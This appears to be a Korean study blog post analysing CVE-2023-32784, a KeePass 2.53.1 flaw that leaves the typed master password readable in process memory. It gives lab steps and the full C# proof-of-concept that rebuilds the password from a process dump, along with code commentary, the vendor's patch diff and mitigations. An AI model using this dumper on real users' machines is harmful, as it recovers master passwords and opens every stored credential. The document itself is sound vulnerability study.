KeePass Password Dumper CVE-2023-32784
by 현채을
KeePass Password Dumper (CVE-2023-32784)
Overview
KeePass는 윈도우, 맥, 리눅스에서 실행되는 오픈소스 비밀번호 관리자입니다.
CVE-2023-32784 취약점을 이용하여 실행중인 소프트웨어의 프로세스 메모리에서 마스터 텍스트 비밀번호를 추출할 수 있습니다.
메모리 덤프에서 일반 텍스트 비밀번호를 복구한다는 점이 흥미로웠고, 해당 취약점을 분석함으로써 프로세스 메모리 덤프에 대해 공부할 수 있을 것 같아 위 취약점을 선정하게 되었습니다.
Introduction
🧐 Discovery
2023-05-18 ‘vdohney’가 KeePass POC를 게시
⚙️ Method
POC는 “KeePass Master Password Dumper”라는 이름의 도구로 구성되어 있었고, 이 도구는 KeePass의 메모리에서 마스터 비밀번호를 덤프하여 일반 텍스트로 복구시킴.
공격자가 마스터 비밀번호를 공개한 후엔, 침해된 KeePass에 저장된 모든 비밀번호에 접근할 수 있게 됨.
= 메모리 릭 취약점
🔑 KeePass
주로 윈도우용 자유 오픈 소스 패스워드 관리자. 주요 목적은 패스워드를 저장하는 안전한 저장소를 제공하는 것.
클라우드 대신 로컬 장치에 사용자의 패스워드를 안전하게 암호화하고 저장하여 사용자가 패스워드를 관리할 수 있도록 도움.
🎯 Target
KeePass 2.53.1 버전에 영향을 끼침.
프로그램이 오픈 소스이기 때문에 관련된 모든 소프트웨어가 영향을 받을 수 있음.
🚚 How does it work?
KeePass는 암호 입력과 앱 전체의 텍스트 상자를 위해 SecureTextBoxEx라는 사용자 정의로 개발된 텍스트 상자를 이용함.
.NET의 특성으로 인해 SecureTextBoxEx 텍스트 상자에 아무 것이나 입력한 후 입력된 문자열의 남은 부분이 메모리에 생성됨.
ex)”Password”를 입력하면 다음과 같은 남은 문자열이 생성됨. •a, ••s, •••s, •••w, •••••o, ••••••r, •••••••d 첫 번째 문자는 복구 불가능
KeePass Password Dumper는 덤프 파일에서 이런 문자열을 검색하고 암호의 각 위치에 대해 암호 문자를 제공함. NET CLR은 메모리에 할당된 이런 문자열을 입력 순서에 따라서 할당하기도 함.
-
.NET Framework
.NET CLR ( Common Language Runtime ) = .NET 프레임워크의 핵심 구성 요소. 애플리케이션 실행, 메모리 관리, 예외 처리, 쓰레드 관리 등
https://jinjae.tistory.com/49
https://bonsilrote.tistory.com/2
Attack Flow
구축 환경
Kali Linux 2022.4- Windows 실행환경으로 바꿈
- .NET 설치 https://dotnet.microsoft.com/en-us/download
- KeePass 2.53.1 설치 (KeePass - Browse Files at SourceForge.net) 최신 버전 말고 2.53.1로 설치
git clone https://github.com/vdohney/keepass-password-dumper
4.
dotnet run PATH_TO_DUMP
마스터 비밀번호를 생성하면 KeePass의 홈 화면으로 들어감
이 화면에서 사용자의 모든 비밀번호를 담고 있음 ( 사용자가 master 비밀번호를 입력할때마다 보이는 기본 화면)
Task Manager → KeePass 프로세스를 우클릭→ “Create dump file” → 프로세스 덤프 만들기
생성한 덤프 파일을 keepass-password-dumper 파일로 붙여넣기 한 뒤
dotnet run dumpfile.dmp (dmp 파일 이름)
공격이 제대로 작동하려면 다음과 같은 조건이 적용되어야 함
- KeePass 소프트웨어에서 피해자(사용자)가 수동으로 마스터 비밀번호를 입력해야 함(복붙 안됨)
- .NET이 설치되어 있어야함
두개의 첫번째 문자를 제외하고 마스터 비밀번호를 찾음
+) 로그인창이 열려있을 때 덤프파일을 생성하면 결과가 안나옴
PoC Code
PoC 코드는 SecureTextBoxEx 에 입력된 마스터 비밀번호를 검색한다. 메모리 덤프에서 마스터 비밀번호에 해당되는 패턴을 찾아 추출하고, 발견된 비밀번호 후보들을 출력한다.
-
전체 코드
// Simple POC script that searches a memory dump // for passwords written inside KeePass 2.x SecureTextBoxEx // text box, such as the master password. // usage: // dotnet run PATH_TO_DUMP [PATH_TO_PWDLIST] // // // where PATH_TO_PWDLIST is an optional argument for generating a list of all possible passwords beginning from the second character. using System.Runtime.InteropServices; using System.Text.RegularExpressions; namespace keepass_password_dumper; internal static class Program { // What characters are valid password characters private const string AllowedChars = "^[\x20-\xFF]+$"; // Read file in N-sized chunks private const int BufferSize = 524288; //2^19 private static void Main(string[] args) { Console.OutputEncoding = System.Text.Encoding.UTF8; var passwordChar = "●"; if (args.Length < 1) { Console.WriteLine("Please specify a file path as an argument."); return; } var filePath = args[0]; if (!File.Exists(filePath)) { Console.WriteLine("File not found."); return; } var pwdListPath = args.Length >= 2 ? args[1] : string.Empty; var candidates = new Dictionary<int, HashSet<string>>(); var currentStrLen = 0; var debugStr = string.Empty; using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Read)) { var buffer = new byte[BufferSize]; int bytesRead; while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0) { for (var i = 0; i < bytesRead - 1; i++) { // ● = 0xCF 0x25 if (buffer[i] == 0xCF && buffer[i + 1] == 0x25) { currentStrLen++; i++; debugStr += passwordChar; } else { if (currentStrLen == 0) continue; currentStrLen++; string strChar; try { var character = new[] { buffer[i], buffer[i + 1] }; strChar = System.Text.Encoding.Unicode.GetString(character); } catch { continue; } var isValid = Regex.IsMatch(strChar, AllowedChars); if (isValid) { // Convert to UTF 8 if (!candidates.ContainsKey(currentStrLen)) { candidates.Add(currentStrLen, new HashSet<string> { strChar }); } else { if (!candidates[currentStrLen].Contains(strChar)) candidates[currentStrLen].Add(strChar); } debugStr += strChar; Console.WriteLine($"Found: {debugStr}"); } currentStrLen = 0; debugStr = ""; } } } } // Print summary Console.WriteLine("\nPassword candidates (character positions):"); Console.WriteLine($"Unknown characters are displayed as \"{passwordChar}\""); Console.WriteLine($"1.:\t{passwordChar}"); var combined = passwordChar; var count = 2; foreach (var (key, value) in candidates.OrderBy(x => x.Key)) { while (key > count) { Console.WriteLine($"{count}.:\t{passwordChar}"); combined += passwordChar; count++; } Console.Write($"{key}.:\t"); if (value.Count != 1) combined += "{"; foreach (var c in value) { Console.Write($"{c}, "); combined += c; if (value.Count != 1) combined += ", "; } if (value.Count != 1) combined = combined[..^2] + "}"; Console.WriteLine(); count++; } Console.WriteLine($"Combined: {combined}"); if (pwdListPath == string.Empty) return; var pwdList = new List<string>(); generatePwdList(candidates, pwdList, passwordChar); File.WriteAllLines(pwdListPath, pwdList); Console.WriteLine($"{pwdList.Count} possible passwords saved in {pwdListPath}. Unknown characters indicated as {passwordChar}"); } private static void generatePwdList( Dictionary<int, HashSet<string>> candidates, List<string> pwdList, string unkownChar, string pwd = "", int prevKey = 0) { foreach (var kvp in candidates) { while (kvp.Key != prevKey +1) { pwd += unkownChar; prevKey ++; } prevKey = kvp.Key; if (kvp.Value.Count == 1) { pwd += kvp.Value.First(); continue; } foreach (var val in kvp.Value) { generatePwdList( candidates.Where(x => x.Key >= kvp.Key +1).ToDictionary(d => d.Key, d => d.Value), pwdList, unkownChar, pwd + val, prevKey); } return; } pwdList.Add(pwd); } }
// What characters are valid password characters
private const string AllowedChars = "^[\x20-\xFF]+$";
// Read file in N-sized chunks
private const int BufferSize = 524288; //2^19
AllowedChars
: 비밀번호로 허용되는 문자들을 정의한 정규식 패턴. \x20(스페이스) 부터 \xFF ASCII문자 까지 허용.
BufferSize
: 메모리 덤프 파일을 한 번에 읽어올 바이트 수 정의. 2^19 = 512KB
var candidates = new Dictionary<int, HashSet<string>>();
candidates
: 비밀번호 후보들을 저장할 데이터 구조. Dictionary
의 키는 비밀번호의 길이를 나타내고, HashSet<string>
은 그 길이에서 발견된 문자열들을 저장함.
var isValid = Regex.IsMatch(strChar, AllowedChars);
if (isValid)
{
// Convert to UTF 8
if (!candidates.ContainsKey(currentStrLen))
{
candidates.Add(currentStrLen, new HashSet<string> { strChar });
}
else
{
if (!candidates[currentStrLen].Contains(strChar))
candidates[currentStrLen].Add(strChar);
}
debugStr += strChar;
Console.WriteLine($"Found: {debugStr}");
}
currentStrLen = 0;
debugStr = "";
}
Regex
를 사용해서 문자(strChar
)가 비밀번호로 사용할 수ㅜ 있는지 검사.
UTF-16으로 인코딩 되어 있다고 가정하고 해독하여 비밀번호 후보로 저장.
currentStrlen
(각 비밀번호 길이) 에 해당하는 위치에 문자들을 저장.
Console.WriteLine("\nPassword candidates (character positions):");
Console.WriteLine($"Unknown characters are displayed as \"{passwordChar}\"");
Console.WriteLine($"1.:\t{passwordChar}");
var combined = passwordChar;
var count = 2;
foreach (var (key, value) in candidates.OrderBy(x => x.Key))
{
while (key > count)
{
Console.WriteLine($"{count}.:\t{passwordChar}");
combined += passwordChar;
count++;
}
Console.Write($"{key}.:\t");
if (value.Count != 1)
combined += "{";
foreach (var c in value)
{
Console.Write($"{c}, ");
combined += c;
if (value.Count != 1)
combined += ", ";
}
if (value.Count != 1)
combined = combined[..^2] + "}";
Console.WriteLine();
count++;
}
Console.WriteLine($"Combined: {combined}");
비밀번호 후보를 출력. 각 위치마다 가능한 ㅁ누자열을 보여주고, 여러 후보가 있을 경우 { } 로 감싸서 표시.
private static void generatePwdList(
Dictionary<int, HashSet<string>> candidates,
List<string> pwdList,
string unkownChar,
string pwd = "",
int prevKey = 0)
{
foreach (var kvp in candidates)
{
while (kvp.Key != prevKey +1)
{
pwd += unkownChar;
prevKey ++;
}
prevKey = kvp.Key;
if (kvp.Value.Count == 1)
{
pwd += kvp.Value.First();
continue;
}
foreach (var val in kvp.Value)
{
generatePwdList(
candidates.Where(x => x.Key >= kvp.Key +1).ToDictionary(d => d.Key, d => d.Value),
pwdList,
unkownChar,
pwd + val,
prevKey);
}
return;
}
pwdList.Add(pwd);
}
}
비밀번호 리스트를 생성해 각 위치에서 가능한 모든 문자열을 시도해가면서 리스트를 출력
Vulnerability Code
취약점을 생성하는 코드는 KeePass/UI/SecureTextBoxEx.cs 파일에 있다.
.NET이 코드를 실행하면 .NET에서 관리되는 문자열이 생성된다.
입력된 문자열은 일반 텍스트로 메모리에 저장되고, 입력된 문자의 앞자리는 chPasswordChar의 플레이스 홀더로 사용된다. (앞에 두글자가 안보이는 것이 이 때문)
+) 플레이스홀더 = 사용자가 데이터를 입력해야 할 위치를 미리 시각적으로 표시하는 요소
PasswordCharEx 클래스 코드를 확인해보니 x64의 플레이스홀더는 XCFX25 이다.
정리 : 마스터 비밀번호를 설정하는 문자열을 입력 → 문자는 플레이스홀더 + 일반 텍스트 문자로 관리되는 문자열 로 메모리에 저장됨
Patch Diff
2.53.1 → 2.57
private void RemoveInsert(int nLeftRem, int nRightRem, string strInsert) // 추가된 부분
{
Debug.Assert(nLeftRem >= 0);
try
{
int cr = m_psText.Length - (nLeftRem + nRightRem);
if(cr >= 0) m_psText = m_psText.Remove(nLeftRem, cr);
else { Debug.Assert(false); }
Debug.Assert(m_psText.Length == (nLeftRem + nRightRem));
}
catch(Exception) { Debug.Assert(false); }
try { m_psText = m_psText.Insert(nLeftRem, strInsert); }
catch(Exception) { Debug.Assert(false); }
}
RemoveInsert
메서드 : 기존 텍스트에서 특정 위치의 문자열을 제거하고 새 문자열을 삽입하는 기능을 하여 보안을 높임
private readonly string[] m_vDummyStrings = new string[64];¶
private readonly string m_strAlphMain = PwCharSet.UpperCase +¶
PwCharSet.LowerCase + PwCharSet.Digits + GetPasswordCharString(1);¶
private void CreateDummyStrings()¶
{¶
try¶
{¶
#if DEBUG¶
// Stopwatch sw = Stopwatch.StartNew();¶
#endif¶
¶
int cch = m_psText.Length;¶
if(cch == 0) return;¶
¶
int cRefs = m_vDummyStrings.Length;¶
string[] vRefs = new string[cRefs];¶
// lock(m_vDummyStrings) {¶
Array.Copy(m_vDummyStrings, vRefs, cRefs); // Read access¶
¶
bool bUnix = NativeLib.IsUnix();¶
char[] v0 = GetPasswordCharString(cch).ToCharArray();¶
char[] v1 = GetPasswordCharString(cch + 1).ToCharArray();¶
char[] v2 = (bUnix ? GetPasswordCharString(cch + 2).ToCharArray() : null);¶
char chPasswordChar = v0[0];¶
¶
byte[] pbKey = CryptoRandom.Instance.GetRandomBytes(32);¶
ChaCha20Cipher c = new ChaCha20Cipher(pbKey, new byte[12], true);¶
byte[] pbBuf = new byte[4];¶
GFunc<uint> fR = delegate()¶
{¶
c.Encrypt(pbBuf, 0, 4);¶
return (uint)BitConverter.ToInt32(pbBuf, 0);¶
};¶
GFunc<uint, uint> fRM = delegate(uint uMaxExcl)¶
{¶
uint uGen, uRem;¶
do { uGen = fR(); uRem = uGen % uMaxExcl; }¶
while((uGen - uRem) > (uint.MaxValue - (uMaxExcl - 1U)));¶
return uRem;¶
};¶
GFunc<uint, uint, uint> fRLow = delegate(uint uRandom, uint uMaxExcl)¶
{¶
const uint m = 0x000FFFFF;¶
Debug.Assert(uMaxExcl <= (m + 1U));¶
uint uGen = uRandom & m;¶
uint uRem = uGen % uMaxExcl;¶
if((uGen - uRem) <= (m - (uMaxExcl - 1U))) return uRem;¶
return fRM(uMaxExcl);¶
};¶
GFunc<uint, string, char> fRLowChar = delegate(uint uRandom, string strCS)¶
{¶
return strCS[(int)fRLow(uRandom, (uint)strCS.Length)];¶
};¶
¶
uint cIt = (uint)m_strAlphMain.Length * 3;¶
if(bUnix) cIt <<= 2;¶
cIt += fRM(cIt);¶
¶
for(uint uIt = cIt; uIt != 0; --uIt)¶
{¶
uint r = fR();¶
¶
char[] v;¶
if(v2 != null)¶
{¶
while(r < 0x10000000U) { r = fR(); }¶
if(r < 0x60000000U) v = v0;¶
else if(r < 0xB0000000U) v = v1;¶
else v = v2;¶
}¶
else v = (((r & 0x10000000) == 0) ? v0 : v1);¶
¶
int iPos;¶
if((r & 0x07000000) == 0) iPos = (int)fRM((uint)v.Length);¶
else iPos = v.Length - 1;¶
¶
char ch;¶
if((r & 0x00300000) != 0)¶
ch = fRLowChar(r, m_strAlphMain);¶
else if((r & 0x00400000) == 0)¶
ch = fRLowChar(r, PwCharSet.PrintableAsciiSpecial);¶
else if((r & 0x00800000) == 0)¶
ch = fRLowChar(r, PwCharSet.Latin1S);¶
else¶
ch = (char)(fRLow(r, 0xD7FFU) + 1);¶
¶
int cRep = 1;¶
if(bUnix) cRep = (((r & 0x08000000) == 0) ? 1 : 9);¶
¶
Debug.Assert(v[iPos] == chPasswordChar);¶
v[iPos] = ch;¶
¶
int iRef0 = (int)r & int.MaxValue;¶
for(int i = cRep; i != 0; --i)¶
vRefs[(iRef0 ^ i) % cRefs] = new string(v);¶
¶
v[iPos] = chPasswordChar;¶
}¶
¶
c.Dispose();¶
MemUtil.ZeroByteArray(pbKey);¶
MemUtil.ZeroArray<char>(v0);¶
MemUtil.ZeroArray<char>(v1);¶
if(v2 != null) MemUtil.ZeroArray<char>(v2);¶
¶
// lock(m_vDummyStrings) {¶
Array.Copy(vRefs, m_vDummyStrings, cRefs);¶
¶
#if DEBUG¶
// sw.Stop();¶
// Trace.WriteLine(string.Format("CreateDummyStrings: {0} ms.", sw.ElapsedMilliseconds));¶
// Console.WriteLine("CreateDummyStrings: {0} ms.", sw.ElapsedMilliseconds);¶
#endif¶
프로세스 메모리에 더미 조각(현재 비밀번호 길이와 비슷한 무작위 문자가 포함된 무작위 조각)을 만들어서 정상적으로 적힌 문자열을 판별하기가 더 어려워짐
Conclusion
- windows에서 실행할 때, KeePass는 이제 텍스트 상자의 문자열을 직접 가져와 Windows API 함수 호출로 인해 문자열이 생성되는 것을 방지한다.
-
공격을 방지하기 위해선 마스터 비밀번호를 변경하거나, 스왑 파일(pagefile.sys)을 삭제하고, 전의 메모리 덤프를 제거해 주는것이 좋다.
- 메모리 분야와 C#에 대한 지식이 정말… 정말 거의 없었는데 메모리 덤프, 메모리 릭, .NET에 대한 개념, C# 코드 읽기 등 많은 것을 얻어갔다. 이래서 다들 1day 분석을 하는건가 깨달았다.
- 1day 분석도 처음이어서 나름 쉬워 보이는 CVE를 공략했는데, 공격 방법도 어렵지 않고 결과도 직관적으로 바로 눈에 보여서 재밌었다.
- 개인적으로 CVE 분석에 주어진 데드라인이 충분했다고 생각하지만, 다른 스터디와 병행하느라 찾아놓은 또 다른 CVE 들도 분석해보지 못한 것이 아쉽다. ( 물론 혼자서도 분석할 수 있지만,,, 다른 분들과 같이 기간 정해놓고 결과공유 하는게 끈기있게 끝낼 수 있는 것 같음 )
Reference
https://nvd.nist.gov/vuln/detail/cve-2023-32784
https://bleekseeks.com/blog/keepass-master-password-exploit-cve-2023-32784-poc
https://www.youtube.com/watch?v=EXgd4AV-VPQ